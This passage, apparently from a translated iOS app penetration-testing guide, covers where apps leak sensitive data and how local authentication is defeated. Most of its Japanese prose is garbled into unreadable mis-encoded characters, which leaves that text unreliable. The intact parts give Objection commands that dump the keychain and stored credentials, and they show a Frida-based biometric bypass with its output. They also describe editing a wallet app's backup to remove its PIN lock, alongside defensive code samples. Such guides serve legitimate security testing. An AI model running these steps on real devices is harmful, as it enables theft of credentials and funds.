Couchbase Lite 㯠軜éãã€çµã¿èŸŒã¿ã®ããŒã¿ããŒã¹ãšã³ãžã³ã§ãããã¥ã¡ã³ãæå (NoSQL) ã¢ãããŒãã«åŸããŸããiOSããã³macOSã«ãã€ãã£ã察å¿ããããèšèšãããŠãããããŒã¿ãã·ãŒã ã¬ã¹ã«åæããæ©èœãæäŸããŸãã
ããã€ã¹äžã®æœåšç㪠Couchbase ããŒã¿ããŒã¹ãç¹å®ããã«ã¯ã次ã®ãã£ã¬ã¯ããªã確èªããŠãã ãã:
ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
Cookies
iOSã¯åã¢ããªã®ãã©ã«ãå
ã® Library/Cookies/cookies.binarycookies ã«ã¢ããªã®Cookieãä¿åããŸããããããéçºè
ããããã keychain ã«ä¿åããããšãéžã¶å Žåããããåè¿°ã® cookieãã¡ã€ã«ã¯ããã¯ã¢ããããã¢ã¯ã»ã¹å¯èœã§ãã
Cookieãã¡ã€ã«ã調ã¹ãã«ã¯ this python script ã䜿ãããobjectionã® ios cookies get.
ãŸãobjectionã䜿ã£ãŠ ãããã®ãã¡ã€ã«ãJSON圢åŒã«å€æããŠããŒã¿ã確èªã§ããŸãã
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
[
{
"domain": "highaltitudehacks.com",
"expiresDate": "2051-09-15 07:46:43 +0000",
"isHTTPOnly": "false",
"isSecure": "false",
"name": "username",
"path": "/",
"value": "admin123",
"version": "0"
}
]
Cache
By default NSURLSession stores data, such as HTTP requests and responses in the Cache.db database. ãã®ããŒã¿ããŒã¹ã¯ãããŒã¯ã³ããŠãŒã¶ãŒåããã®ä»ã®æ©å¯æ
å ±ããã£ãã·ã¥ãããŠããå Žåãæ©å¯ããŒã¿ãå«ãã§ããå¯èœæ§ããããŸãããã£ãã·ã¥ãããæ
å ±ãèŠã€ããã«ã¯ãã¢ããªã®ããŒã¿ãã£ã¬ã¯ããªïŒ/var/mobile/Containers/Data/Application/<UUID>ïŒãéãã/Library/Caches/<Bundle Identifier> ã«ç§»åããŠãã ãããWebKit cache is also being stored in the Cache.db ãã¡ã€ã«ã«ãä¿åãããŠããŸããObjection 㯠sqlite connect Cache.db ã³ãã³ãã§ããŒã¿ããŒã¹ãéããŠæäœã§ããŸããããã¯éåžžã® SQLite database ã ããã§ãã
ãããã®ããŒã¿ã«ã¯ãªã¯ãšã¹ããã¬ã¹ãã³ã¹å ã«æ©å¯æ å ±ãå«ãŸããå¯èœæ§ãããããããã£ãã·ã¥ãç¡å¹åããããšãæšå¥šãããŸãã以äžã¯ãã®ããã®ããã€ãã®æ¹æ³ã§ãïŒ
- ãã°ã¢ãŠãæã«ãã£ãã·ã¥ãããã¬ã¹ãã³ã¹ãåé€ããããšãæšå¥šããŸãããã㯠Apple ãæäŸãã
removeAllCachedResponsesã¡ãœããã§è¡ããŸããæ¬¡ã®ããã«åŒã³åºããŸã:
URLCache.shared.removeAllCachedResponses()
ãã®ã¡ãœãã㯠Cache.db ãã¡ã€ã«ãããã¹ãŠã®ãã£ãã·ã¥ããããªã¯ãšã¹ããšã¬ã¹ãã³ã¹ãåé€ããŸãã
- ã¯ãããŒã䜿ãå¿ èŠããªãå Žåã¯ãURLSession ã® .ephemeral èšå®ããããã£ã䜿çšããããšããå§ãããŸããããã«ããã¯ãããŒãšãã£ãã·ã¥ã®ä¿åãç¡å¹ã«ãªããŸãã
An ephemeral session configuration object is similar to a default session configuration (see default), except that the corresponding session object doesnât store caches, credential stores, or any session-related data to disk. Instead, session-related data is stored in RAM. The only time an ephemeral session writes data to disk is when you tell it to write the contents of a URL to a file.
- Cache 㯠Cache Policy ã .notAllowed ã«èšå®ããããšã§ãç¡å¹åã§ããŸããããã«ãããã¡ã¢ãªäžã§ããã£ã¹ã¯äžã§ããããªã圢ã§ããã£ãã·ã¥ã®ä¿åãç¡å¹ã«ãªããŸãã
Snapshots
Whenever you press the home button, iOS takes a snapshot of the current screen to be able to do the transition to the application on a much smoother way. ããããçŸåšã®ç»é¢ã«æ©å¯ããŒã¿ã衚瀺ãããŠããå Žåããã®ããŒã¿ã¯ç»åãšããŠä¿åããïŒåèµ·åããŸããã§ä¿æãããŸãïŒããããã¯ããŒã ãã¿ã³ãããã«ã¿ããããŠã¢ããªåãæ¿ããè¡ãéã«ã¢ã¯ã»ã¹ã§ããã¹ãããã·ã§ããã§ãã
iPhone ããžã£ã€ã«ãã¬ã€ã¯ãããŠããªãéãããããã®ã¹ã¯ãªãŒã³ã·ã§ãããé²èЧããã«ã¯ attacker ãããã€ã¹ã®ããã¯ãè§£é€ããŠã¢ã¯ã»ã¹ããå¿
èŠããããŸããããã©ã«ãã§ã¯ãæåŸã®ã¹ãããã·ã§ããã¯ã¢ããªã±ãŒã·ã§ã³ã®ãµã³ãããã¯ã¹å
ã® Library/Caches/Snapshots/ ãŸã㯠Library/SplashBoard/Snapshots ãã©ã«ãã«ä¿åãããŸãïŒtrusted computers 㯠iOX 7.0 ãããã¡ã€ã«ã·ã¹ãã ã«ã¢ã¯ã»ã¹ã§ããŸããïŒã
ãã®æãŸãããªãåäœãé²ãäžã€ã®æ¹æ³ã¯ãApplicationDidEnterBackground() 颿°ã䜿çšããŠã¹ãããã·ã§ãããæ®ãããåã«ç»é¢ã空çœã«ããããæ©å¯ããŒã¿ãåãé€ãããšã§ãã
以äžã¯ããã©ã«ãã®ã¹ã¯ãªãŒã³ã·ã§ãããèšå®ãããµã³ãã«ä¿®æ£ã¡ãœããã§ãã
Swift:
private var backgroundImage: UIImageView?
func applicationDidEnterBackground(_ application: UIApplication) {
let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage"))
myBanner.frame = UIScreen.main.bounds
backgroundImage = myBanner
window?.addSubview(myBanner)
}
func applicationWillEnterForeground(_ application: UIApplication) {
backgroundImage?.removeFromSuperview()
}
Objective-C:
@property (UIImageView *)backgroundImage;
- (void)applicationDidEnterBackground:(UIApplication *)application {
UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"];
self.backgroundImage = myBanner;
self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.window addSubview:myBanner];
}
- (void)applicationWillEnterForeground:(UIApplication *)application {
[self.backgroundImage removeFromSuperview];
}
ããã¯ã¢ããªã±ãŒã·ã§ã³ãããã¯ã°ã©ãŠã³ãã«ãªã£ãéã«èæ¯ç»åã overlayImage.png ã«èšå®ããŸããoverlayImage.png ãåžžã«çŸåšã®ãã¥ãŒãäžæžããããããæ©å¯ããŒã¿ã®leaksãé²ããŸãã
Keychain
iOS keychain ãžã¢ã¯ã»ã¹ããã³ç®¡çããããã«ãKeychain-Dumper ã®ãããªããŒã«ãå©çšå¯èœã§ãjailbroken ããã€ã¹ã«é©ããŠããŸããããã«ãObjection ã¯åæ§ã®ç®çã§ ios keychain dump ã³ãã³ããæäŸããŸãã
è³æ Œæ å ±ã®ä¿å
NSURLCredential ã¯ã©ã¹ã¯ãNSUserDefaults ããã®ä»ã®ã©ãããŒãä»ããã«ãæ©å¯æ å ±ãçŽæ¥ keychain ã«ä¿åããã®ã«æé©ã§ãããã°ã€ã³åŸã«è³æ Œæ å ±ãä¿åããã«ã¯ã以äžã® Swift ã³ãŒãã䜿çšããŸã:
NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
ãããã®ä¿åãããèªèšŒæ
å ±ãæœåºããããã«ãObjection ã®ã³ãã³ã ios nsurlcredentialstorage dump ã䜿çšãããŸãã
ã«ã¹ã¿ã ããŒããŒããšããŒããŒããã£ãã·ã¥
iOS 8.0 以éããŠãŒã¶ã¯ã«ã¹ã¿ã ããŒããŒãæ¡åŒµãã€ã³ã¹ããŒã«ã§ããSettings > General > Keyboard > Keyboards ã§ç®¡çã§ããŸãããããã®ããŒããŒãã¯æ©èœæ¡åŒµãæäŸããŸãããããŒã¹ãããŒã¯ã®èšé²ãå€éšãµãŒããžã®ããŒã¿éä¿¡ã®ãªã¹ã¯ãããããããã¯ãŒã¯ã¢ã¯ã»ã¹ãå¿ èŠãªããŒããŒãã«ã€ããŠã¯ãŠãŒã¶ã«éç¥ãããŸããã¢ããªã¯æ©å¯æ å ±ã®å ¥åã«å¯ŸããŠã«ã¹ã¿ã ããŒããŒãã®äœ¿çšãå¶éã§ããå¶éãã¹ãã§ãã
ã»ãã¥ãªãã£æšå¥šäºé ïŒ
- ã»ãã¥ãªãã£åäžã®ããããµãŒãããŒãã£è£œããŒããŒããç¡å¹ã«ããããšãæšå¥šãããŸãã
- ããã©ã«ãã® iOS ããŒããŒãã®èªåè£æ£ (autocorrect) ããã³èªååè£ (auto-suggestions) æ©èœã¯ã
Library/Keyboard/{locale}-dynamic-text.datã/private/var/mobile/Library/Keyboard/dynamic-text.datã«ãããã£ãã·ã¥ãã¡ã€ã«ã«æ©å¯æ å ±ãä¿åããå¯èœæ§ãããç¹ã«æ³šæããŠãã ããããããã®ãã£ãã·ã¥ãã¡ã€ã«ã¯å®æçã«æ©å¯ããŒã¿ããªãã確èªããå¿ èŠããããŸãããã£ãã·ã¥ãã¯ãªã¢ããã«ã¯ Settings > General > Reset > Reset Keyboard Dictionary ã§ããŒããŒãèŸæžããªã»ããããããšãæšå¥šããŸãã - ãããã¯ãŒã¯ãã©ãã£ãã¯ãååããããšã§ãã«ã¹ã¿ã ããŒããŒããããŒã¹ãããŒã¯ããªã¢ãŒãéä¿¡ããŠãããã©ãããå€å¥ã§ããŸãã
ããã¹ããã£ãŒã«ãã®ãã£ãã·ã¥å¯Ÿç
The UITextInputTraits protocol ã¯èªåè£æ£ã secure text entry ã管çããããããã£ãæäŸããæ©å¯æ å ±ã®ãã£ãã·ã¥ãé²ãããã«éèŠã§ããäŸãã°ãèªåè£æ£ãç¡å¹ã«ããsecure text entry ãæå¹ã«ããã«ã¯æ¬¡ã®ããã«ããŸãïŒ
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;
ããã«ãéçºè
ã¯ããã¹ããã£ãŒã«ããç¹ã«ãã¹ã¯ãŒããPINã®ãããªæ©å¯æ
å ±ãå
¥åãããã£ãŒã«ãã«ã€ããŠããã£ãã·ã¥ãç¡å¹ã«ããããã« autocorrectionType ã UITextAutocorrectionTypeNo ã«ãsecureTextEntry ã YES ã«èšå®ããããšã確èªããå¿
èŠããããŸãã
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
textField.autocorrectionType = UITextAutocorrectionTypeNo;
Logs
ãããã°ã³ãŒãã®ãã©ãã«ã·ã¥ãŒãã£ã³ã°ã§ã¯äžè¬çã« logging ã䜿ãããŸãããªã¹ã¯ããããlogs ã«ã¯æ©å¯æ å ±ãå«ãŸããŠããå¯èœæ§ããããŸãã以åãiOS 6 ããã³ãã以åã®ããŒãžã§ã³ã§ã¯ãlogs ã¯ãã¹ãŠã®ã¢ããªããã¢ã¯ã»ã¹å¯èœã§ãããæ©å¯ããŒã¿ã®æŒæŽ©ãªã¹ã¯ããããŸãããçŸåšãã¢ããªã±ãŒã·ã§ã³ã¯èªåã® logs ã®ã¿ãžã¢ã¯ã»ã¹ããããå¶éãããŠããŸãã
ããããå¶éã«ãããããããããã¯è§£é€ãããããã€ã¹ã«ç©ççã«ã¢ã¯ã»ã¹ã§ããç©ççã¢ã¯ã»ã¹ãæã€æ»æè ã¯ãããã€ã¹ãã³ã³ãã¥ãŒã¿ã«æ¥ç¶ããŠlogs ãèªã¿åãããšã§ãããæªçšã§ããŸããã¢ããªãã¢ã³ã€ã³ã¹ããŒã«ããåŸã§ã logs ã¯ãã£ã¹ã¯äžã«æ®ãããšã«æ³šæããŠãã ããã
ãªã¹ã¯ã軜æžãããããã¢ããªã®ãã¹ãŠã®æ©èœãå ¥åã調ã¹ãæ©å¯æ å ±ãæå³ããã« logs ã«èšé²ãããŠããªããã確èªããããã«ãã¢ããªã培åºçã«æäœããããšãæšå¥šããŸãã
ã¢ããªã®ãœãŒã¹ã³ãŒãã確èªããŠæœåšçãªleaksãæ¢ãéã¯ãçµã¿èŸŒã¿é¢æ°ã«å¯ŸããŠã¯ NSLog, NSAssert, NSCAssert, fprintf ã®ãããªããŒã¯ãŒãããã«ã¹ã¿ã å®è£
ã«å¯ŸããŠã¯ Logging ã Logfile ã®ãããªèšåãæ¢ããpredefined and custom logging statements ã®äž¡æ¹ã«æ³šæããŠãã ããã
Monitoring System Logs
Apps ã¯ããŸããŸãªãæ©å¯ã«ãªãåŸãæ å ±ããã°ã«èšé²ããŸãããããã® logs ãç£èŠããã«ã¯ã次ã®ãããªããŒã«ãã³ãã³ãã䜿çšããŸã:
idevice_id --list # To find the device ID
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
圹ã«ç«ã¡ãŸããããã«ãXcode ã¯ã³ã³ãœãŒã«ãã°ãåéããæ¹æ³ãæäŸããŸã:
- Xcode ãéãã
- iOSããã€ã¹ãæ¥ç¶ããã
- Window -> Devices and Simulators ã«ç§»åããã
- ããã€ã¹ãéžæããã
- 調æ»ããŠããåé¡ãåçŸããã
- Open Console ãã¿ã³ã䜿ã£ãŠæ°ãããŠã£ã³ããŠã§ãã°ã衚瀺ããã
ããé«åºŠãªãã°ååŸã§ã¯ãããã€ã¹ã®ã·ã§ã«ã«æ¥ç¶ã㊠socat ã䜿çšããããšã§ãªã¢ã«ã¿ã€ã ã®ãã°ç£èŠãå¯èœã§ã:
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
Followed by commands to observe log activities, which can be invaluable for diagnosing issues or identifying potential data leakage in logs.
Backups
Auto-backup features 㯠iOS ã«çµ±åãããŠãããiTunesïŒmacOS Catalina ãŸã§ïŒãFinderïŒmacOS Catalina 以éïŒããŸã㯠iCloud ã䜿ã£ãŠããã€ã¹ã®ããŒã¿ã³ããŒãäœæã§ããŸãããããã®ããã¯ã¢ããã¯ãApple Pay ã®è©³çްã Touch ID ã®èšå®ãªã©ãéåžžã«æ©å¯æ§ã®é«ãèŠçŽ ãé€ããã»ãšãã©ãã¹ãŠã®ããã€ã¹ããŒã¿ãå«ã¿ãŸãã
Security Risks
ããã¯ã¢ããã« ã€ã³ã¹ããŒã«ãããã¢ããªãšãã®ããŒã¿ ãå«ãŸããããšã§ãæœåšç㪠ããŒã¿æŒæŽ© ã®åé¡ããããã¯ã¢ããã®æ¹å€ãã¢ããªã®åäœã«åœ±é¿ãäžãããªã¹ã¯ ãçããŸãããããã®ãªã¹ã¯ã軜æžãããããã¢ããªã®ãã£ã¬ã¯ããªããã®ãµããã£ã¬ã¯ããªå ã«æ©å¯æ å ±ãå¹³æã§ä¿åããªãããšãæšå¥šãããŸãã
Excluding Files from Backups
Documents/ ãš Library/Application Support/ ã®ãã¡ã€ã«ã¯ããã©ã«ãã§ããã¯ã¢ãããããŸããéçºè
ã¯ãNSURL setResourceValue:forKey:error: ã NSURLIsExcludedFromBackupKey ãšå
±ã«äœ¿çšããŠãç¹å®ã®ãã¡ã€ã«ããã£ã¬ã¯ããªãããã¯ã¢ããããé€å€ã§ããŸãããã®ææ³ã¯ãæ©å¯ããŒã¿ãããã¯ã¢ããã«å«ãŸããã®ãé²ãããã«éèŠã§ãã
Testing for Vulnerabilities
ã¢ããªã®ããã¯ã¢ããã»ãã¥ãªãã£ãè©äŸ¡ããã«ã¯ããŸã Finder ã䜿ã£ãŠ ããã¯ã¢ãããäœæ ããAppleâs official documentation ã®æ¡å ã«åŸã£ãŠãã®ããã¯ã¢ãããèŠã€ããŸããããã¯ã¢ãããè§£æããŠãæ©å¯ããŒã¿ãã¢ããªã®åäœã«åœ±é¿ãäžããå¯èœæ§ã®ããèšå®ãå«ãŸããŠããªãã確èªããŸãã
æ©å¯æ å ±ã¯ã³ãã³ãã©ã€ã³ããŒã«ã iMazing ã®ãããªã¢ããªã±ãŒã·ã§ã³ã§æ€çŽ¢ã§ããŸããæå·åãããããã¯ã¢ããã«ã€ããŠã¯ãããã¯ã¢ããã®ã«ãŒãã«ãã âManifest.plistâ ãã¡ã€ã«ã® âIsEncryptedâ ããŒã確èªããŠæå·åã®æç¡ã確èªã§ããŸãã
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
...
<key>Date</key>
<date>2021-03-12T17:43:33Z</date>
<key>IsEncrypted</key>
<true/>
...
</plist>
encrypted backups ãæ±ãéãDinoSecâs GitHub repo ã«ãã Python ã¹ã¯ãªããïŒbackup_tool.py ã backup_passwd.py ãªã©ïŒã圹ç«ã€ããšããããŸãããææ°ã® iTunes/Finder ããŒãžã§ã³ãšã®äºææ§ã®ããã«èª¿æŽãå¿ èŠãªå ŽåããããŸãããã¹ã¯ãŒãä¿è·ããã password-protected backups å ã®ãã¡ã€ã«ã«ã¢ã¯ã»ã¹ããå¥ã®ãªãã·ã§ã³ãšããŠãiOSbackup tool ããããŸãã
ã¢ããªæåã®å€æŽ
backup ã®å€æŽã«ãã£ãŠã¢ããªæåãå€ããäŸãšããŠãBither bitcoin wallet app ãæããããŸããUI lock PIN 㯠net.bither.plist å
ã® pin_code ããŒã«ä¿åãããŠããŸããplist ãããã®ããŒãåé€ã㊠backup ã埩å
ãããšãPIN èŠæ±ãè§£é€ãããå¶éãªãã¢ã¯ã»ã¹ã§ããããã«ãªããŸãã
æ©å¯ããŒã¿ã®ã¡ã¢ãªæ€æ»ã®ãŸãšã
ã¢ããªã®ã¡ã¢ãªã«æ ŒçŽãããæ©å¯æ å ±ãæ±ãéã¯ããã®ããŒã¿ã®é²åºæéãæå°éã«ããããšãéèŠã§ããã¡ã¢ãªå 容ã調æ»ããäž»ãªã¢ãããŒãã¯2ã€ãããŸã: creating a memory dump ãš analyzing the memory in real timeãã©ã¡ãã®æ¹æ³ã«ã課é¡ããããdump ãè§£æã®éçšã§éèŠãªããŒã¿ãèŠèœãšãå¯èœæ§ããããŸãã
Memory Dump ã®ååŸãšè§£æ
jailbroken ãš non-jailbroken ã®äž¡æ¹ã®ããã€ã¹ã«å¯ŸããŠãobjection ã Fridump ã®ãããªããŒã«ã§ã¢ããªã® process memory ã® dumping ãå¯èœã§ãããã³ãããåŸããã®ããŒã¿ãè§£æããã«ã¯ãæ¢ããŠããæ å ±ã®æ§è³ªã«å¿ããŠæ§ã ãªããŒã«ãå¿ èŠã«ãªããŸãã
memory dump ããæååãæœåºããã«ã¯ãstrings ã rabin2 -zz ãšãã£ãã³ãã³ãã䜿çšã§ããŸã:
# Extracting strings using strings command
$ strings memory > strings.txt
# Extracting strings using rabin2
$ rabin2 -ZZ memory > strings.txt
ç¹å®ã®ããŒã¿åããã¿ãŒã³ã®æ€çŽ¢ãå«ãããã詳现ãªè§£æã«ã¯ãradare2ã¯åºç¯ãªæ€çŽ¢æ©èœãæäŸããŸã:
$ r2 <name_of_your_dump_file>
[0x00000000]> /?
...
ã©ã³ã¿ã€ã ã¡ã¢ãªè§£æ
r2frida ã¯ãã¡ã¢ãªãã³ããå¿ èŠãšããã«ãã¢ããªã®ã¡ã¢ãªããªã¢ã«ã¿ã€ã ã§èª¿æ»ããããã®åŒ·åãªä»£æ¿ææ®µãæäŸããŸãã ãã®ããŒã«ã¯ãå®è¡äžã®ã¢ããªã±ãŒã·ã§ã³ã®ã¡ã¢ãªäžã§çŽæ¥æ€çŽ¢ã³ãã³ããå®è¡ã§ããããã«ããŸãïŒ
$ r2 frida://usb//<name_of_your_app>
[0x00000000]> /\ <search_command>
èåŒ±ãªæå·å
äžååãªããŒç®¡çããã»ã¹
äžéšã®éçºè ã¯æ©å¯ããŒã¿ãããŒã«ã«ã¹ãã¬ãŒãžã«ä¿åããã³ãŒãã«ããŒãã³ãŒãã£ã³ã°ïŒäºæž¬å¯èœãªããŒã§æå·åããŸããããã¯é¿ããã¹ãã§ããªããŒã¹ãšã³ãžãã¢ãªã³ã°ã«ããæ»æè ãæ©å¯æ å ±ãæœåºã§ããå¯èœæ§ããããŸãã
å®å šã§ãªãããŸãã¯å»æ¢ãããã¢ã«ãŽãªãºã ã®äœ¿çš
éçºè 㯠deprecated algorithms ã䜿ã£ãŠèªå¯ã® checksãããŒã¿ã store ãŸã㯠send ããã¹ãã§ã¯ãããŸããããããã®ã¢ã«ãŽãªãºã ã«ã¯ RC4ãMD4ãMD5ãSHA1⊠ãªã©ããããŸããäŸãã°ãã¹ã¯ãŒãã®ä¿åã« hashes ã䜿ãå Žåã¯ããœã«ããçšããŠãã«ãŒããã©ãŒã¹ã«å¯Ÿã㊠resistant ãªããã·ã¥ã䜿çšããã¹ãã§ãã
ãã§ãã¯
äž»ãªãã§ãã¯é ç®ã¯ãã³ãŒãå ã« hardcoded ãªãã¹ã¯ãŒãïŒã·ãŒã¯ã¬ããããªããããããã predictable ã§ãªããããŸãã³ãŒããäœããã® weak 㪠cryptography ã¢ã«ãŽãªãºã ã䜿çšããŠããªããã確èªããããšã§ãã
äžéšã® crypto libraries ã objection ã§èªåçã« monitor ã§ããç¹ã¯èŠããŠãããšäŸ¿å©ã§ãïŒ
ios monitor crypt
iOSã®æå·åAPIãšã©ã€ãã©ãªã®è©³çްæ å ±ã«ã€ããŠã¯ãhttps://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography ãåç §ããŠãã ãã
ããŒã«ã«èªèšŒ
ããŒã«ã«èªèšŒã¯ç¹ã«æå·åææ³ãçšããŠãªã¢ãŒããšã³ããã€ã³ããžã®ã¢ã¯ã»ã¹ãä¿è·ããå Žåã«éèŠãªåœ¹å²ãæãããŸããããã§éèŠãªã®ã¯ãé©åã«å®è£ ãããŠããªããšããŒã«ã«èªèšŒã¡ã«ããºã ãåé¿ããããç¹ã§ãã
Appleã®Local Authentication frameworkãškeychainã¯ããããããŠãŒã¶ãŒèªèšŒãã€ã¢ãã°ãæäŸããæ©å¯ããŒã¿ãå®å šã«æ±ãããã®å ç¢ãªAPIãéçºè ã«æäŸããŸããSecure Enclaveã¯Touch IDã®ããã®æçŽIDãä¿è·ããFace IDã¯çäœããŒã¿ãæãªãããšãªãé¡èªèšŒãå©çšããŸãã
Touch ID/Face IDãçµ±åããã«ã¯ãéçºè ã¯2ã€ã®APIããéžæããŸãïŒ
LocalAuthentication.frameworkïŒçäœããŒã¿ã«ã¢ã¯ã»ã¹ããã«é«ã¬ãã«ã®ãŠãŒã¶ãŒèªèšŒãè¡ãããã®ãã®ãSecurity.frameworkïŒäœã¬ãã«ã®keychainãµãŒãã¹ã«ã¢ã¯ã»ã¹ããçäœèªèšŒã§æ©å¯ããŒã¿ãä¿è·ããããã®ãã®ãããŸããŸãªopen-source wrappersãkeychainãžã®ã¢ã¯ã»ã¹ãç°¡çŽ åããŸãã
Caution
ãã ãã
LocalAuthentication.frameworkããã³Security.frameworkã®äž¡æ¹ã«ã¯è匱æ§ãååšããŸãããããã¯èªèšŒããã»ã¹ã®ããã®ããŒã¿ãéä¿¡ããã®ã§ã¯ãªãäž»ã«booleanå€ãè¿ãããããã€ãã¹ããããããªããŸãïŒè©³çްã¯Donât touch me that way, by David Lindner et alãåç §ïŒã
ããŒã«ã«èªèšŒã®å®è£
ãŠãŒã¶ãŒã«èªèšŒãä¿ãã«ã¯ãéçºè ã¯LAContextã¯ã©ã¹å ã®evaluatePolicyã¡ãœãããå©çšããæ¬¡ã®ãããããéžæããŸãïŒ
deviceOwnerAuthenticationïŒTouch IDãŸãã¯ããã€ã¹ã®ãã¹ã³ãŒããèŠæ±ããã©ã¡ããæå¹ã§ãªãå Žåã¯å€±æããŸããdeviceOwnerAuthenticationWithBiometricsïŒTouch IDã®ã¿ãèŠæ±ããŸãã
èªèšŒã®æåã¯evaluatePolicyãè¿ãbooleanå€ã§ç€ºãããããã¯æœåšçãªã»ãã¥ãªãã£äžã®æ¬ é¥ã瀺ããŸãã
ããŒãã§ãŒã³ã䜿ã£ãããŒã«ã«èªèšŒ
iOSã¢ããªã§ã®ããŒã«ã«èªèšŒã®å®è£ ã«ã¯ãèªèšŒããŒã¯ã³ãªã©ã®æ©å¯ããŒã¿ãå®å šã«ä¿åããããã®keychain APIsã®å©çšãå«ãŸããŸãããã®ããã»ã¹ã«ãããããã€ã¹ã®ãã¹ã³ãŒããTouch IDã®ãããªçäœèªèšŒãçšããŠãŠãŒã¶ãŒã ããããŒã¿ã«ã¢ã¯ã»ã¹ã§ããããã«ããŸãã
keychainã¯SecAccessControl屿§ã䜿ã£ãŠã¢ã€ãã ãèšå®ããæ©èœãæäŸããŸããããã«ããããŠãŒã¶ãŒãTouch IDãŸãã¯ããã€ã¹ã®ãã¹ã³ãŒãã§æ£åžžã«èªèšŒãããŸã§ãã¢ã€ãã ãžã®ã¢ã¯ã»ã¹ãå¶éãããŸãããã®æ©èœã¯ã»ãã¥ãªãã£åŒ·åã«äžå¯æ¬ ã§ãã
以äžã¯ããããã®ã»ãã¥ãªãã£æ©èœã掻çšããŠæååãkeychainã«ä¿å/ååŸããæ¹æ³ã瀺ããSwiftãšObjective-Cã®ã³ãŒãäŸã§ããäŸã§ã¯ç¹ã«ãTouch IDèªèšŒãèŠæ±ããããã«ã¢ã¯ã»ã¹å¶åŸ¡ãèšå®ãããã€ããã€ã¹ã®ãã¹ã³ãŒããèšå®ãããŠããæ¡ä»¶ã®ããšã§ãããŒã¿ãèšå®ããããã€ã¹äžã§ã®ã¿ã¢ã¯ã»ã¹å¯èœã«ãªãããã«ããæ¹æ³ã瀺ããŠããŸãã
// From https://github.com/mufambisi/owasp-mstg/blob/master/Document/0x06f-Testing-Local-Authentication.md
// 1. create AccessControl object that will represent authentication settings
var error: Unmanaged<CFError>?
guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
SecAccessControlCreateFlags.biometryCurrentSet,
&error) else {
// failed to create AccessControl object
return
}
// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
var query: [String: Any] = [:]
query[kSecClass as String] = kSecClassGenericPassword
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecAttrAccount as String] = "OWASP Account" as CFString
query[kSecValueData as String] = "test_strong_password".data(using: .utf8)! as CFData
query[kSecAttrAccessControl as String] = accessControl
// 3. save item
let status = SecItemAdd(query as CFDictionary, nil)
if status == noErr {
// successfully saved
} else {
// error while saving
}
ããã§ keychain ã«ä¿åãããã¢ã€ãã ãèŠæ±ã§ããŸããKeychain services ã¯ãŠãŒã¶ãŒã«èªèšŒãã€ã¢ãã°ã衚瀺ããé©å㪠fingerprint ãæäŸããããã©ããã«å¿ã㊠data ãŸã㯠nil ãè¿ããŸãã
// 1. define query
var query = [String: Any]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecReturnData as String] = kCFBooleanTrue
query[kSecAttrAccount as String] = "My Name" as CFString
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter this area" as CFString
// 2. get item
var queryResult: AnyObject?
let status = withUnsafeMutablePointer(to: &queryResult) {
SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0))
}
if status == noErr {
let password = String(data: queryResult as! Data, encoding: .utf8)!
// successfully received password
} else {
// authorization not passed
}
Detection
ã¢ããªå
ã§ã®ãã¬ãŒã ã¯ãŒã¯ã®äœ¿çšã¯ãã¢ããªã®ãã€ããªã«å«ãŸããå
±æåçã©ã€ãã©ãªã®äžèЧãè§£æããããšã§æ€åºã§ããŸãããã㯠otool ã䜿çšããŠè¡ããŸã:
$ otool -L <AppName>.app/<AppName>
ã¢ããªã§ LocalAuthentication.framework ã䜿çšãããŠããå Žåãåºåã«ã¯æ¬¡ã®äž¡æ¹ã®è¡ãå«ãŸããŸãïŒLocalAuthentication.framework ã¯å
éšçã« Security.framework ã䜿çšããŠããããšãå¿ããªãã§ãã ããïŒ:
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security
Security.frameworkã䜿çšãããŠããå Žåãäºçªç®ã®ã¿ã衚瀺ãããŸãã
Local Authentication ãã¬ãŒã ã¯ãŒã¯ Bypass
Objection
This GitHub page ã«ãã Objection Biometrics Bypass ãéããŠãLocalAuthentication ã¡ã«ããºã ãåé¿ããææ³ãå©çšã§ããŸãã
ãã®ææ³ã®æ žã¯ Frida ãæŽ»çšã㊠evaluatePolicy 颿°ãæäœããå®éã®èªèšŒæåã«é¢ä¿ãªãåžžã« True ãè¿ãããã«ããããšã§ããããã¯ãæ¬ é¥ã®ããçäœèªèšŒããã»ã¹ãåé¿ããã®ã«ç¹ã«æçšã§ãã
ãã®ãã€ãã¹ãæå¹ã«ããã«ã¯ã以äžã®ã³ãã³ãã䜿çšããŸã:
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # (agent) [3mhtws9x47q] Localized Reason for auth requirement: Please authenticate yourself
(agent) [3mhtws9x47q] OS authentication response: false
(agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete
ãã®ã³ãã³ãã¯ãObjection ãã¿ã¹ã¯ãç»é²ããevaluatePolicy ãã§ãã¯ã®çµæãå®è³ªçã« True ã«å€æŽããäžé£ã®åŠçãéå§ããŸãã
Frida
